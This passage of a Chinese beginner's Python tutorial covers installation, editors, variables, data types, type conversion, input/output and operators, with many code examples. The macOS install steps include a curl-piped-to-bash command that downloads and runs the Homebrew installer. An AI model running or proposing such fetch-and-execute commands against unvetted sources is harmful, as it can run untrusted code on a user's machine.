Python 从入门到精通

55 章完整教程 · 从 print("Hello") 到项目实战 · 从入门到真正的精通

零基础友好 · 每个知识点都讲透 · 含 1400+ 代码示例 · 涵盖 SQL/MySQL/Redis/FastAPI/Playwright/pytest/Docker · 新增:CPython 内部机制 / Pydantic / AI 大模型 / 设计模式 / Web 安全 / 性能调优 / 开源发布 / 源码阅读 / 章末练习

第一章:开篇——为什么学 Python?

1.1 什么是编程?

在正式学习 Python 之前,我们先搞清楚一个根本问题:什么是编程?

简单来说,编程就是用计算机能理解的语言,告诉它该做什么事。计算机本身只认识 0 和 1(二进制),人类直接写二进制代码几乎不可能。所以我们需要一种"中间语言"——既能被人类读懂,又能被翻译成计算机指令。这就是编程语言。

一个类比

想象你在一个外国餐厅点菜。你不会说当地语言(二进制),服务员也不懂中文。但如果你会英语(编程语言),而服务员也懂英语,你们就能沟通了。Python 就是这门"英语"——简单、通用、几乎所有人都能学会。

编程的本质其实就是三件事:

  1. 接收输入——从用户、文件、网络等获取数据
  2. 处理数据——按照逻辑规则对数据进行计算、判断、转换
  3. 输出结果——把处理结果显示在屏幕上、写入文件或发送到网络

无论多么复杂的程序——微信、抖音、淘宝——本质上都在做这三件事。掌握了这个核心思想,你学任何编程语言都会事半功倍。

1.2 Python 是什么?

Python 是一门通用编程语言,由荷兰人 Guido van Rossum(吉多·范罗苏姆)在 1989 年圣诞节期间开始编写,1991 年正式发布。名字来源于 Guido 喜爱的英国喜剧团体 Monty Python,而不是蟒蛇(虽然 Python 的标志确实是一条蛇)。

Python 的设计哲学可以用一句话概括:代码是写给人看的,顺便让计算机执行。这和其他很多语言形成鲜明对比——有些语言追求极致的运行速度,有些追求严格的类型安全,而 Python 追求的是简洁、清晰、易读。

Python 之禅(The Zen of Python) 在 Python 中输入 import this,你会看到 Python 的设计哲学。其中最重要的一句是:

"There should be one-- and preferably only one --obvious way to do it."
(做一件事应该有、而且最好只有一种显而易见的方法。)

这就是为什么 Python 代码通常看起来很统一——大家都用相似的方式写代码,读别人的代码就像读自己的一样。
编程语言 vs 交通工具

C 语言 = 手动挡赛车:性能极强,但操作复杂,新手容易熄火。
Java = 自动挡大巴:规范、安全、能载很多人,但启动要半天(代码冗长)。
JavaScript = 摩托车:灵活快速,但容易翻车(弱类型陷阱多)。
Python = 电动汽车:上手即开,简单直观,智能辅助多,性能也不差。

来看同一个功能在不同语言中的写法,直观感受 Python 的简洁:

输出 "Hello World" 对比
// C 语言——需要 5 行,还需要理解"头文件""主函数""返回值"等概念
#include <stdio.h>
int main() {
    printf("Hello World");
    return 0;
}

// Java——需要 5 行,还需要理解"类""方法""字符串数组"等概念
public class Main {
    public static void main(String[] args) {
        System.out.println("Hello World");
    }
}

# Python——只需要 1 行。不需要任何"仪式代码",直接写你想做的事
print("Hello World")

再看一个稍微复杂的例子——读取一个文件并统计其中的行数:

统计文件行数对比
// Java——需要理解类、异常处理、资源关闭等多个概念
import java.io.*;
public class LineCount {
    public static void main(String[] args) throws IOException {
        BufferedReader reader = new BufferedReader(new FileReader("data.txt"));
        int count = 0;
        while (reader.readLine() != null) count++;
        reader.close();
        System.out.println(count);
    }
}

# Python——三行搞定,逻辑一目了然
with open("data.txt") as f:
    lines = f.readlines()
print(len(lines))

1.3 Python 能做什么?

Python 是目前应用最广泛的编程语言之一。根据 TIOBE 编程语言排行榜,Python 连续多年稳居第一。它几乎覆盖了所有技术领域:

领域具体用途代表库/框架谁在用
Web 开发搭建网站、API 接口、后台服务Django、Flask、FastAPIInstagram、Pinterest、知乎
数据科学数据分析、可视化、统计建模Pandas、NumPy、Matplotlib几乎所有数据团队
人工智能机器学习、深度学习、NLPTensorFlow、PyTorch、scikit-learnOpenAI、Google、Meta
自动化运维服务器管理、批量部署、监控Fabric、Ansible、Paramiko所有互联网公司的运维团队
网络爬虫抓取网页数据、监控信息Scrapy、BeautifulSoup、requests搜索引擎、数据公司
办公自动化处理 Excel/PDF/邮件/报表openpyxl、smtplib、PyPDF2财务、运营、行政人员
游戏开发2D 游戏、游戏脚本Pygame、Ren'Py独立游戏开发者
物联网树莓派、传感器、智能家居MicroPython、RPi.GPIO硬件工程师、创客
金融科技量化交易、风险分析Zipline、pandas-datareader对冲基金、银行
教育科研科学计算、论文数据处理SciPy、SymPy、Jupyter高校、研究所
Python 的"胶水"特性 Python 被称为"胶水语言"——它擅长把不同语言写的模块粘合在一起。比如核心计算用 C 写(速度快),上层逻辑用 Python 写(开发快)。这就是为什么很多 AI 框架底层是 C/C++/CUDA,但接口都是 Python 的。

1.4 安装 Python(超详细步骤)

Windows 安装

1
打开浏览器,在地址栏输入 python.org 并回车。你会看到 Python 官方网站的首页。
2
点击 "Downloads" 菜单,页面会自动检测你的操作系统,并显示一个大大的下载按钮(比如 "Download Python 3.12.x")。点击它,下载安装包。
3
运行安装程序。这是最关键的一步:
在安装界面的底部,务必勾选 "Add python.exe to PATH"(把 Python 添加到系统路径)。
这个选项默认是不勾选的!如果不勾选,你后面在命令行输入 python 会报错"不是内部或外部命令"。
4
点击 "Install Now",等待进度条走完。看到 "Setup was successful" 就表示安装成功了。
5
验证安装:按 Win + R,输入 cmd 回车打开命令提示符。输入以下命令并回车:
python --version
# 如果输出类似 "Python 3.12.1",说明安装成功!

# 如果提示"不是内部或外部命令",说明第 3 步没勾选 PATH,解决方法见下方。
安装时忘记勾选 "Add Python to PATH" 怎么办? 这是最常见的安装问题。有两种解决方法:

方法一(推荐):重新运行安装程序,这次记得勾选 PATH。
方法二:手动添加环境变量。右键"此电脑"→ 属性 → 高级系统设置 → 环境变量 → 在"系统变量"中找到 Path → 编辑 → 新建 → 输入 Python 的安装路径(通常是 C:\Users\你的用户名\AppData\Local\Programs\Python\Python312)。

macOS 安装

macOS 系统自带 Python,但通常是旧版本(Python 2.x 或较旧的 3.x)。建议安装最新版:

Terminal(终端)
# 方法一:用 Homebrew 安装(推荐)

# 第 1 步:检查是否安装了 Homebrew
brew --version
# 如果提示 "command not found",先安装 Homebrew:
/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"

# 第 2 步:安装 Python
brew install python3

# 第 3 步:验证
python3 --version
# 输出:Python 3.12.x

# 方法二:直接从 python.org 下载 .pkg 安装包,双击安装

Linux 安装

# Ubuntu / Debian
sudo apt update
sudo apt install python3 python3-pip

# CentOS / Fedora
sudo dnf install python3

# 验证
python3 --version

1.5 选择编辑器

写 Python 代码需要一个编辑器。就像写字需要纸和笔一样,编辑器就是你写代码的"纸和笔"。下面介绍几种最常用的:

编辑器适合谁优点缺点
IDLE完全零基础的新手Python 自带,无需安装任何东西,双击就能用功能简陋,写大项目不方便
VS Code所有人(强烈推荐)免费、轻量、插件极其丰富、支持调试、内置终端、支持几乎所有编程语言需要安装 Python 插件(很简单)
PyCharm专业 Python 开发者功能最强大,智能提示、重构、数据库工具一应俱全收费(社区版免费但功能少)、启动慢、占用内存大
Jupyter Notebook数据分析、学习交互式,可以一段一段运行代码,边写边看结果不适合写大型项目

VS Code 配置(推荐新手这样做)

1
下载安装 VS Code:访问 code.visualstudio.com,下载对应系统的版本并安装。
2
安装 Python 插件:打开 VS Code,点击左侧边栏的扩展图标(四个方块的图标),搜索 "Python",安装第一个由 Microsoft 发布的 Python 插件。
3
创建 Python 文件:点击"文件"→"新建文件",保存为 hello.py(注意后缀是 .py)。VS Code 会自动识别这是 Python 文件。
4
运行代码:在编辑器中输入 print("Hello"),然后右键选择 "Run Python File in Terminal",或者点击右上角的三角形运行按钮。

1.6 你的第一个 Python 程序

万事俱备,让我们写下第一个程序。打开你的编辑器,输入以下代码:

hello.py
# 这是我的第一个 Python 程序
# 以 # 开头的行是"注释",是写给人看的,Python 会忽略它们

# print() 是 Python 内置的函数,作用是在屏幕上显示文字
print("Hello, World!")

# 可以显示中文
print("你好,世界!")

# 可以显示多条信息
print("我开始学 Python 了!")
print("今天是学习的第一天")

逐行解释:

运行方式一:命令行运行(推荐)

命令提示符 / 终端
# 1. 打开命令提示符(Windows: Win+R 输入 cmd)或终端(macOS: 搜索 Terminal)
# 2. 用 cd 命令进入文件所在的目录
cd Desktop          # 进入桌面(假设文件在桌面)

# 3. 运行 Python 文件
python hello.py     # Windows
python3 hello.py    # macOS/Linux

# 输出:
# Hello, World!
# 你好,世界!
# 我开始学 Python 了!
# 今天是学习的第一天

运行方式二:交互式模式

# 在命令行直接输入 python(不带文件名),进入交互模式
python
# 会出现 >>> 提示符,你可以直接输入代码并立即看到结果

>>> print("Hello")
Hello
>>> 1 + 1
2
>>> exit()  # 输入 exit() 退出交互模式
恭喜!你已经成功运行了第一个 Python 程序! 虽然只有一行代码,但你已经迈出了最重要的一步。从下一章开始,我们会逐步学习 Python 的每一个知识点。每个知识点都会有:详细的解释 → 生动的类比 → 可以运行的代码示例 → 常见错误提醒。保证你看得懂、学得会、记得住。

1.7 Python 的版本选择

Python 有两个主要版本系列:

你可能会在网上看到一些老教程用的是 Python 2.x 的语法(比如 print "hello" 不带括号),那些已经过时了。遇到这种情况直接跳过,找更新的教程。

python 和 python3 的区别 在 macOS 和 Linux 上,python 命令可能指向 Python 2.x,而 python3 指向 Python 3.x。建议统一使用 python3。在 Windows 上,如果你安装时勾选了 PATH,python 通常就指向你安装的 3.x 版本。

1.8 学习编程的正确心态

在正式开始之前,有几句话想对你说:

  1. 不要怕犯错。编程就是不断犯错、不断修正的过程。即使是资深程序员,每天也在 debug(找 bug/错误)。报错信息是你的朋友,不是敌人——它在告诉你哪里出了问题。
  2. 一定要动手敲代码。看懂了不等于学会了。就像看别人游泳和自己下水是两回事。每个示例都要自己敲一遍,不要复制粘贴。
  3. 不要追求一次全懂。编程知识是层层递进的,有些概念第一遍看不懂很正常,学到后面回头再看就豁然开朗了。
  4. 遇到问题先自己搜索。用搜索引擎搜报错信息,99% 的问题别人都遇到过。这是程序员最重要的技能之一。
学习编程就像学骑自行车

看别人骑(看教程)感觉很简单,但自己一上去就会摔。摔几次之后突然就找到平衡了——然后就再也忘不了了。编程也一样,前面会磕磕绊绊,但一旦"开窍",就会越学越快。关键是:别放弃,多练习。

第二章:变量与数据类型

2.1 什么是变量?

变量就是一个名字,用来指向一块内存中存储的数据。这个概念非常重要,我们用三种方式来理解它:

类比一:贴了标签的盒子

想象你有一排盒子,每个盒子上贴着一张标签。标签上写着名字(变量名),盒子里装着东西(数据)。
age = 18 的意思是:找一个盒子,贴上"age"的标签,把 18 这个数字放进去。
age = 20 的意思是:把"age"盒子里的 18 取出来,换成 20。

类比二:便利贴

变量就像便利贴。你可以把便利贴贴在任何东西上。name = "张三" 就是把写着"name"的便利贴贴在"张三"这个字符串上。如果你后来写了 name = "李四",便利贴就被撕下来贴到"李四"上面了。原来的"张三"还在,只是没有便利贴指着它了。

# 变量赋值就像"贴标签"
age = 18          # 创建一个变量 age,它的值是 18
name = "张三"     # 创建一个变量 name,它的值是 "张三"

# 使用变量就是"读取盒子里的东西"
print(age)        # 输出:18
print(name)       # 输出:张三

# 变量可以重新赋值(盒子里的东西可以换)
age = 20          # 把 age 的值从 18 改成 20
print(age)        # 输出:20

# 一个值可以有多个变量指向它
a = 100
b = a             # b 也指向 100
print(a)          # 100
print(b)          # 100
a = 200           # a 改成 200,但 b 还是 100
print(a)          # 200
print(b)          # 100(b 没变!因为它指向的是值,不是 a)
重要概念:赋值不是"复制" b = a 不是把 a 的值复制一份给 b,而是让 b 和 a 指向同一个值。就像两个人可以贴便利贴在同一个苹果上——苹果只有一个,但有两个名字指着它。这个概念在第 10 章会深入讲解。

2.2 变量命名规则

给变量起名有几条必须遵守的铁律(违反会报语法错误)和几条强烈建议的惯例(违反不会报错但会被其他程序员嫌弃):

铁律(必须遵守)

#规则正确示例错误示例为什么会错
1只能包含字母、数字、下划线my_namemy-name短横线 - 是减号运算符
2不能以数字开头name11namePython 会以为是数字 1
3不能使用 Python 关键字my_classclassclass 是 Python 保留字
4区分大小写Age 和 age 是两个不同的变量——

惯例(强烈建议遵守)

Python 关键字列表 以下名字是 Python 保留的,不能用作变量名:
False, None, True, and, as, assert, async, await, break, class, continue, def, del, elif, else, except, finally, for, from, global, if, import, in, is, lambda, nonlocal, not, or, pass, raise, return, try, while, with, yield

不需要死记硬背,用到的时候 Python 会告诉你。

变量命名的常见错误示例

# ❌ 错误:含短横线
my-name = "张三"       # SyntaxError

# ❌ 错误:以数字开头
2nd_place = "李四"     # SyntaxError

# ❌ 错误:使用关键字
class = "一班"          # SyntaxError

# ✅ 正确的替代方案
my_name = "张三"
second_place = "李四"
class_name = "一班"

2.3 Python 的基本数据类型

Python 中每个数据都有一个"类型"(type),就像现实中的物品有不同的分类。比如"18"是数字,"张三"是文字,"对/错"是判断。Python 最基本的数据类型有 6 种:

int
整数(Integer)——没有小数点的数字。如:1, 42, -10, 0, 1000000
float
浮点数(Float)——有小数点的数字。如:3.14, -0.5, 1.0, 2.5e10(科学计数法)
str
字符串(String)——文本数据,必须用引号包裹。如:"hello", 'Python', """多行"""
bool
布尔值(Boolean)——只有两个值:True(真)和 False(假)。注意首字母大写。
None
空值(NoneType)——表示"什么都没有"。注意:不是 0,不是空字符串,是"没有值"。
complex
复数(Complex)——数学中的复数。如:3+4j。一般用不到,了解即可。
数据类型 vs 现实中的容器

int = 计数器上的数字:1, 2, 3...
float = 体重秤上的数字:65.5, 70.2...
str = 写在纸上的文字:"你好"、"Hello"...
bool = 开关:开(True)或关(False)
None = 空盒子:里面什么都没有,不是 0(0 是有东西),是真正的"空"。

用 type() 查看数据类型

type() 是 Python 内置的函数,可以告诉你任何数据的类型:

# type() 告诉你数据的类型
print(type(42))        # <class 'int'>      —— 整数
print(type(3.14))      # <class 'float'>    —— 浮点数
print(type("hello"))   # <class 'str'>      —— 字符串
print(type(True))      # <class 'bool'>     —— 布尔值
print(type(None))      # <class 'NoneType'> —— 空值
print(type(3+4j))      # <class 'complex'>  —— 复数

# 用 isinstance() 判断类型(更推荐)
print(isinstance(42, int))        # True
print(isinstance("hello", str))   # True
print(isinstance(3.14, int))      # False(3.14 不是整数)

2.4 各类型详解

整数(int)——没有大小限制

Python 的整数和其他语言有一个巨大区别:没有大小限制。在 C 语言或 Java 中,int 类型最大只能到 21 亿左右(2^31-1),超过就"溢出"(变成负数或报错)。Python 的整数想多大就多大。

# Python 的整数可以无限大
big_number = 99999999999999999999999999999999
print(big_number)  # 正常输出,不会报错
print(type(big_number))  # <class 'int'>

# 在 C/Java 中,这种数字会导致溢出。Python 完全不用担心。

# 可以用下划线分隔大数字,提高可读性(下划线会被忽略)
population = 1_400_000_000    # 14亿
budget = 10_000_000           # 1000万
print(population)             # 输出:1400000000

# 不同进制的整数
print(0b1010)   # 二进制 → 10(0b 开头表示二进制)
print(0o17)     # 八进制 → 15(0o 开头表示八进制)
print(0xFF)     # 十六进制 → 255(0x 开头表示十六进制)

# 常用整数运算
print(10 // 3)   # 整除:3(只保留整数部分)
print(10 % 3)    # 取余:1(10 除以 3 的余数)
print(2 ** 10)   # 幂运算:1024(2 的 10 次方)

浮点数(float)——注意精度问题

浮点数就是带小数点的数字。但计算机存储小数的方式和我们人类不同,这会导致一个著名的"精度问题":

price = 9.99
pi = 3.14159
temperature = -20.5

# ⚠️ 浮点数有精度问题!这是计算机科学的经典问题
print(0.1 + 0.2)    # 输出:0.30000000000000004(不是 0.3!)
print(0.1 + 0.2 == 0.3)  # False!(这是很多新手困惑的根源)

# 为什么?因为计算机用二进制存储小数,有些小数无法精确表示
# 就像 1/3 无法用有限小数表示(0.333333...永远写不完)

# 解决方案一:用 round() 四舍五入
result = 0.1 + 0.2
print(round(result, 1))  # 0.3(保留 1 位小数)

# 解决方案二:用 decimal 模块(需要精确计算时,如金融)
from decimal import Decimal
print(Decimal('0.1') + Decimal('0.2'))  # 0.3(精确!)
# 注意:Decimal 的参数必须是字符串,不能是浮点数
# Decimal(0.1)  ← 这样写还是会出问题!

# 正确比较浮点数的方法
a = 0.1 + 0.2
b = 0.3
print(abs(a - b) < 1e-9)  # True(差值足够小就认为相等)
浮点数精度陷阱——新手必看 计算机用二进制存储小数,有些小数无法精确表示。这不是 Python 的 bug,是所有编程语言都有的问题(包括 C、Java、JavaScript)。

记住两条规则:
1. 比较浮点数不要用 ==,用 abs(a - b) < 1e-9
2. 需要精确计算(如金钱)时,用 Decimal 模块

字符串(str)——文本数据

字符串是最常用的数据类型之一。它用来存储文本:名字、地址、密码、文章内容……几乎所有"文字"都是字符串。

# 创建字符串的四种方式
s1 = 'hello'           # 单引号(最常用)
s2 = "hello"           # 双引号(和单引号完全等价)
s3 = '''这是
多行字符串'''           # 三单引号(可以换行)
s4 = """这也是
多行字符串"""           # 三双引号(和三单引号等价)

# 什么时候用单引号,什么时候用双引号?
# 当字符串内有引号时,用另一种引号包裹,避免转义
sentence1 = "It's OK"           # 字符串里有单引号,外层用双引号
sentence2 = 'He said "hello"'  # 字符串里有双引号,外层用单引号
sentence3 = "He said \"hello\"" # 也可以用转义字符 \"(但不如上面简洁)

# 字符串可以用 + 拼接
first = "Hello"
second = "World"
print(first + " " + second)  # Hello World

# 用 * 重复
print("哈" * 3)              # 哈哈哈
print("-" * 20)              # --------------------(常用来画分隔线)

# 字符串的长度(包含的字符个数)
print(len("hello"))          # 5
print(len("你好"))            # 2(每个中文字符算 1 个)
print(len(""))               # 0(空字符串长度为 0)

布尔值(bool)——真与假

布尔值只有两个:True(真)和 False(假)。注意首字母必须大写。布尔值在条件判断中无处不在。

# 布尔值的创建
is_student = True      # 是学生
is_rich = False        # 不是有钱人

# 布尔值在条件判断中使用
if is_student:
    print("享受学生折扣")

if not is_rich:
    print("看看就好")

# 比较运算产生布尔值
print(10 > 5)          # True
print(10 < 5)          # False
print(10 == 10)        # True
print(10 != 10)        # False

# 布尔值本质上是整数:True 是 1,False 是 0
print(True + True)     # 2
print(True * 10)       # 10
print(False + 1)       # 1
print(sum([True, True, False, True]))  # 3(True 算 1,False 算 0)

# "假值":以下值在布尔上下文中都视为 False
print(bool(0))         # False(零)
print(bool(0.0))       # False(零点零)
print(bool(""))        # False(空字符串)
print(bool([]))        # False(空列表)
print(bool({}))        # False(空字典)
print(bool(None))      # False(空值)

# 其他所有值都是 True
print(bool(1))         # True
print(bool(-1))        # True(负数也是 True!)
print(bool("hi"))      # True
print(bool([1, 2]))    # True
print(bool(" "))       # True(空格不是空字符串,所以是 True)
布尔值的"真假"判断规则 记住:零、空、None 是 False,其他都是 True。
0(零)、0.0(零点零)、""(空字符串)、[](空列表)、{}(空字典)、None —— 这些是"假值"。
其他所有值,包括负数 -1、字符串 "0"、列表 [0] —— 都是"真值"。

None——空值

None 是 Python 中一个特殊的值,表示"什么都没有"。它不是 0,不是空字符串,是真正的"空"。

# None 的类型是 NoneType(它自己独有的类型)
result = None
print(result)         # None
print(type(result))   # <class 'NoneType'>

# 判断一个变量是不是 None,用 is,不要用 ==
# (这是 Python 社区的惯例,也是最佳实践)
x = None
if x is None:
    print("x 是 None")

if x is not None:
    print("x 不是 None")

# 为什么用 is 而不是 ==?
# 因为 is 比较的是"是否是同一个对象",而 == 比较的是"值是否相等"
# None 是全局唯一的,所以用 is 更准确、更快

# None 的常见用途
def greet(name):
    if name is None:
        print("你好,陌生人!")
    else:
        print(f"你好,{name}!")

greet(None)    # 你好,陌生人!
greet("张三")  # 你好,张三!

2.5 类型转换

不同类型的数据之间可以互相转换。这在实际编程中非常常见——比如用户输入的是字符串,但你需要用它做数学计算。

# 字符串 → 整数
age_str = "25"
age_int = int(age_str)    # 把字符串 "25" 转成整数 25
print(age_int + 1)        # 26(现在可以做数学运算了)

# 整数 → 字符串
score = 98
score_str = str(score)    # 把整数 98 转成字符串 "98"
print("你的分数是:" + score_str)  # 字符串只能和字符串拼接

# 字符串 → 浮点数
price_str = "9.99"
price = float(price_str)  # 9.99

# 浮点数 → 整数(注意:是截断,不是四舍五入!)
print(int(3.7))     # 3(直接砍掉小数部分)
print(int(3.2))     # 3
print(int(-3.7))    # -3(向零方向截断)

# 四舍五入用 round()
print(round(3.7))   # 4
print(round(3.2))   # 3
print(round(3.5))   # 4(.5 向偶数方向舍入,这是"银行家舍入")
print(round(2.5))   # 2(注意!不是 3,因为 2 是偶数)

# 整数 ↔ 浮点数
print(float(5))     # 5.0(整数转浮点数,加 .0)
print(int(5.0))     # 5(浮点数转整数,去掉 .0)
print(int(5.9))     # 5(不是 6!是截断)
类型转换的常见错误 int("hello") → ValueError: 不是数字
int("3.14") → ValueError: 不能直接把带小点的字符串转成 int
int("") → ValueError: 空字符串

正确做法:
int("3.14") 应该先转成 float:int(float("3.14")) → 3
int("") 应该先判断是否为空:int(s) if s else 0

2.6 输入与输出

input()——从键盘获取用户输入

input() 函数会让程序暂停,等待用户输入文字,按回车后继续执行。括号里的字符串是提示信息。

# 基本用法
name = input("请输入你的名字:")
# 用户输入 "张三" 并按回车后,name 的值就是 "张三"
print("你好," + name + "!")

# ⚠️ 重要:input() 返回的永远是字符串!
age = input("请输入你的年龄:")
print(type(age))   # <class 'str'>  ← 是字符串,不是数字!
# print(age + 1)   # ❌ TypeError! 字符串不能和数字相加

# 如果需要做数学运算,必须手动转换类型
age = int(input("请输入你的年龄:"))  # 用 int() 转换
print("明年你就", age + 1, "岁了")     # 现在可以做运算了

# 安全的输入转换(防止用户输入非数字时报错)
age_str = input("请输入你的年龄:")
if age_str.isdigit():            # isdigit() 判断是否全是数字
    age = int(age_str)
    print(f"你{age}岁了")
else:
    print("请输入有效的数字!")

print()——输出到屏幕

print() 是你最常用的函数,它把内容显示在屏幕上。

# 基本输出
print("Hello World")     # 输出文字
print(42)                # 输出数字
print(3.14)              # 输出小数
print(True)              # 输出布尔值

# 输出多个值,用逗号分隔(默认用空格连接)
print("名字:", "张三", "年龄:", 18)
# 输出:名字: 张三 年龄: 18

# 指定分隔符 sep
print("2024", "01", "01", sep="-")
# 输出:2024-01-01

print("a", "b", "c", sep="")
# 输出:abc(sep="" 表示没有分隔符)

# 指定结尾字符 end(默认是换行符 \n)
print("Hello", end=" ")
print("World")
# 输出:Hello World(在同一行,因为 end=" " 代替了默认的换行)

print("加载中", end="...\n")
# 输出:加载中...

# 格式化输出(f-string,第四章会详细讲)
name = "张三"
age = 18
print(f"我叫{name},今年{age}岁")   # 最推荐的写法
print() 的本质 print() 不是"魔法",它只是一个函数。你完全可以自己写一个类似的功能。但 Python 已经帮你写好了,所以直接用就行。这就是编程的魅力——站在巨人的肩膀上,不需要重复造轮子。

第三章:运算符全解

3.1 算术运算符

算术运算符就是你小学学过的加减乘除,再加上几个编程特有的。Python 的算术运算符一共 7 个:

运算符名称含义示例结果
+加两个数相加3 + 25
-减两个数相减3 - 21
*乘两个数相乘3 * 26
/除两个数相除(结果永远是浮点数)7 / 23.5
//整除除法后只保留整数部分(向下取整)7 // 23
%取余(模)除法后的余数7 % 21
**幂(乘方)计算 n 次方2 ** 101024
除法 / 的结果永远是浮点数 即使两个整数能整除,/ 的结果也是浮点数:6 / 3 的结果是 2.0,不是 2。如果你只想要整数结果,用 //:6 // 3 的结果是 2(整数)。
# 加减乘除
print(10 + 3)    # 13
print(10 - 3)    # 7
print(10 * 3)    # 30
print(10 / 3)    # 3.3333333333333335(浮点数,有精度误差)

# 整除:只保留整数部分(注意是向下取整,不是四舍五入)
print(10 // 3)   # 3
print(7 // 2)    # 3
print(-7 // 2)   # -4(向下取整,-3.5 向下是 -4,不是 -3!)

# 取余:除法的余数
print(10 % 3)    # 1(10 = 3*3 + 1)
print(7 % 2)     # 1(7 = 2*3 + 1)
print(-7 % 2)    # 1(Python 的取余结果符号和除数相同)

# 幂运算
print(2 ** 10)   # 1024(2 的 10 次方)
print(9 ** 0.5)  # 3.0(9 的 0.5 次方 = 开平方根)
print(2 ** 0.5)  # 1.4142135623730951(√2)

整除和取余的妙用

# 1. 判断奇偶数
num = 7
if num % 2 == 0:
    print(f"{num} 是偶数")
else:
    print(f"{num} 是奇数")

# 2. 取一个三位数的各位数字
num = 456
bai = num // 100        # 百位:4
shi = num // 10 % 10    # 十位:5
ge = num % 10           # 个位:6
print(f"百位{bai},十位{shi},个位{ge}")

# 3. 判断是否能被整除(整除判断)
year = 2024
if year % 4 == 0 and (year % 100 != 0 or year % 400 == 0):
    print(f"{year} 是闰年")
else:
    print(f"{year} 是平年")

# 4. 循环数组索引(取余让索引"回绕")
colors = ["红", "绿", "蓝"]
for i in range(7):
    print(colors[i % 3], end=" ")  # 红 绿 蓝 红 绿 蓝 红

# 5. 分钟转换为"小时:分钟"
total_minutes = 135
hours = total_minutes // 60     # 2 小时
minutes = total_minutes % 60    # 15 分钟
print(f"{hours}小时{minutes}分钟")  # 2小时15分钟

3.2 比较运算符

比较运算符用来比较两个值的大小关系,结果永远是布尔值(True 或 False):

运算符含义示例结果说明
==等于3 == 3True两个等号是比较,一个等号是赋值
!=不等于3 != 5True判断两个值是否不同
>大于5 > 3True—
<小于3 < 5True—
>=大于等于5 >= 5True大于或等于都算 True
<=小于等于3 <= 5True—
# 基本比较
print(10 > 5)       # True
print(10 < 5)       # False
print(10 == 10)     # True
print(10 != 10)     # False
print(10 >= 10)     # True(等于也算)
print(10 <= 9)      # False

# 字符串也可以比较(按 Unicode 编码逐字符比较)
print("apple" < "banana")   # True(a 的编码比 b 小)
print("abc" < "abd")        # True(前两个字符相同,第三个 c < d)
print("abc" < "abcd")       # True(短的"小于"长的)
print("abc" == "abc")       # True

# 不同类型比较
print(1 == 1.0)      # True(int 和 float 可以比较)
print(1 == True)     # True(True 就是 1)
print(0 == False)    # True(False 就是 0)
print("1" == 1)      # False(字符串和数字不会自动转换)

链式比较——Python 独有的优雅语法

# Python 支持链式比较(其他语言一般不支持)
age = 25
print(18 <= age <= 65)  # True,等价于 18 <= age and age <= 65

# 更多链式比较的例子
x = 5
print(1 < x < 10)       # True
print(1 < x < 3)        # False
print(0 <= x <= 10)     # True

# 数学表达式直接翻译成 Python
# 数学:0 < x < 10 且 x ≠ 5
# Python:
if 0 < x < 10 and x != 5:
    print("x 在 0 到 10 之间,但不是 5")
== 和 is 的区别——面试必考题 == 比较的是值是否相等(内容一样不一样)。
is 比较的是是否是同一个对象(内存地址是否相同)。

打个比方:两张一模一样的照片(== 返回 True),但它们是两张不同的照片(is 返回 False)。而同一张照片的两个引用(is 返回 True)。

规则:判断 None、True、False 时用 is,其他情况用 ==。
# == 和 is 的区别
a = [1, 2, 3]
b = [1, 2, 3]   # 创建了一个新列表,值和 a 相同
c = a            # c 和 a 指向同一个列表

print(a == b)    # True(值相同)
print(a is b)    # False(不是同一个对象,内存地址不同)
print(a is c)    # True(c 就是 a,指向同一个对象)

print(id(a))     # 假设是 140234866501120
print(id(b))     # 假设是 140234866501184(不同!)
print(id(c))     # 140234866501120(和 a 相同!)

# 判断 None 一定要用 is(Python 社区惯例)
x = None
if x is None:    # ✅ 推荐
    print("x 是 None")
if x == None:    # ⚠️ 不推荐(虽然结果一样,但不够 Pythonic)
    print("x 是 None")

3.3 逻辑运算符

逻辑运算符用来组合多个条件,结果也是布尔值:

运算符含义说明记忆方法
and与(并且)两边都为 True,结果才是 True两个条件都要满足
or或(或者)至少一边为 True,结果就是 True满足一个就行
not非(取反)True 变 False,False 变 True反着来
逻辑运算 vs 日常生活

and(与)= 进电影院要"有票并且有身份证",缺一不可。
or(或)= 打折条件是"是学生或者是老人",满足一个就行。
not(非)= "不 raining" → 如果在下雨就是 False,没下雨就是 True。

age = 25
income = 8000
is_student = True

# and:两个条件都要满足
if age >= 18 and income >= 5000:
    print("可以申请信用卡")  # ✅ 执行(两个条件都满足)

# or:至少一个条件满足
if age < 12 or age > 65:
    print("免费乘车")  # ❌ 不执行(两个条件都不满足)

# not:取反
if not is_student:
    print("不是学生")  # ❌ 不执行(is_student 是 True,取反后是 False)

# 组合使用(建议加括号让逻辑更清晰)
if (age >= 18 and income >= 5000) or is_student:
    print("可以办卡")  # ✅ 执行(因为 is_student 是 True)

# 实际应用:用户输入验证
username = "admin"
password = "123456"
if username == "admin" and password == "123456":
    print("登录成功")
else:
    print("用户名或密码错误")

短路求值——逻辑运算的隐藏特性

Python 的逻辑运算有"短路"特性,理解它能让你写出更简洁的代码:

# 短路的实际用法

# 1. 安全地访问可能不存在的属性
user = None
# 如果 user 是 None,后面的 .name 不会执行,不会报错
name = user and user.name  # 结果是 None(短路:左边是 None/False,右边不执行)

# 2. 设置默认值(非常常用的技巧)
username = "" or "匿名用户"
# 空字符串是"假值",所以 or 继续看右边,结果是 "匿名用户"

username = "张三" or "匿名用户"
# "张三" 是"真值",短路:直接返回 "匿名用户" 不会执行
# 结果是 "张三"

# 3. 实际场景:给变量设置默认值
config = user_input or default_config
# 如果用户没输入(空值),就用默认配置

逻辑运算返回的不一定是布尔值

# and 返回:如果左边是假值,返回左边;否则返回右边
print(0 and 5)       # 0(左边是假值,直接返回 0)
print(3 and 5)       # 5(左边是真值,继续看右边,返回 5)
print("" and "hello")  # ""(空字符串是假值)
print("hi" and "hello")  # "hello"

# or 返回:如果左边是真值,返回左边;否则返回右边
print(0 or 5)        # 5(左边是假值,继续看右边)
print(3 or 5)        # 3(左边是真值,直接返回 3)
print("" or "hello")  # "hello"
print("hi" or "hello")  # "hi"

# 这个特性常用来设置默认值
name = input("请输入名字:") or "匿名"  # 空输入时用"匿名"

3.4 赋值运算符

赋值运算符用来给变量赋值。除了基本的 =,还有一系列"运算后赋值"的简写:

x = 10      # 基本赋值:把 10 赋给 x

# 运算赋值(简写形式)
x += 5      # 等价于 x = x + 5    → x 是 15
x -= 3      # 等价于 x = x - 3    → x 是 12
x *= 2      # 等价于 x = x * 2    → x 是 24
x /= 4      # 等价于 x = x / 4    → x 是 6.0
